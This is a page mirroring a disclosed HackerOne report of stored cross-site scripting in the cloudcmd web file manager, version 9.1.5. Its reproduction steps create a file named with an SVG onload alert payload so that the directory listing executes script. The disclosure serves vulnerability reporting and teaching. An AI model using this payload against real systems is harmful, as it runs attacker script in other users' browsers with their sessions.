Skip to content
XSS Disclosed report Beginner

[cloudcmd] Stored XSS in the filename when directories listing

tungpun Follow

Originally disclosed on HackerOne

High 8.5 View original
  • Triaged in 3 days
  • Fixed in 5 days
  • Disclosed after 5 days

I would like to report a Stored XSS issue in module cloudcmd It allows executing malicious javascript code in the user's browser.

Module

module name: cloudcmd version: 9.1.5 npm page: https://www.npmjs.com/package/cloudcmd

Module Description

Cloud Commander is an orthodox web file manager with console and editor.

Module Stats

4,433 downloads in the last week

cloudcmd3.png
cloudcmd3.png From the original on HackerOne

Vulnerability

Steps To Reproduce:

  • Install the module
$ npm i cloudcmd
  • Run
$ ./node_modules/cloudcmd/bin/cloudcmd.js --root .
  • In the target directory, create a file with name "><svg onload=alert(3);>
bash$ touch '"><svg onload=alert(3);>'
cloudcmd2.png
cloudcmd2.png From the original on HackerOne

Supporting Material/References:

  • macOS High Sierra 10.13.4
  • node v8.10.0
  • npm 5.6.0
  • Chrome Version 65.0.3325.181 (Official Build) (64-bit)

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

It allows executing malicious javascript code in the user's browser

The original report as published on HackerOne, by tungpun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity XSS bug in cloudcmd, rated CVSS 8.5. HackerOne made it public on 25 April 2018.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by tungpun

View all

11 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.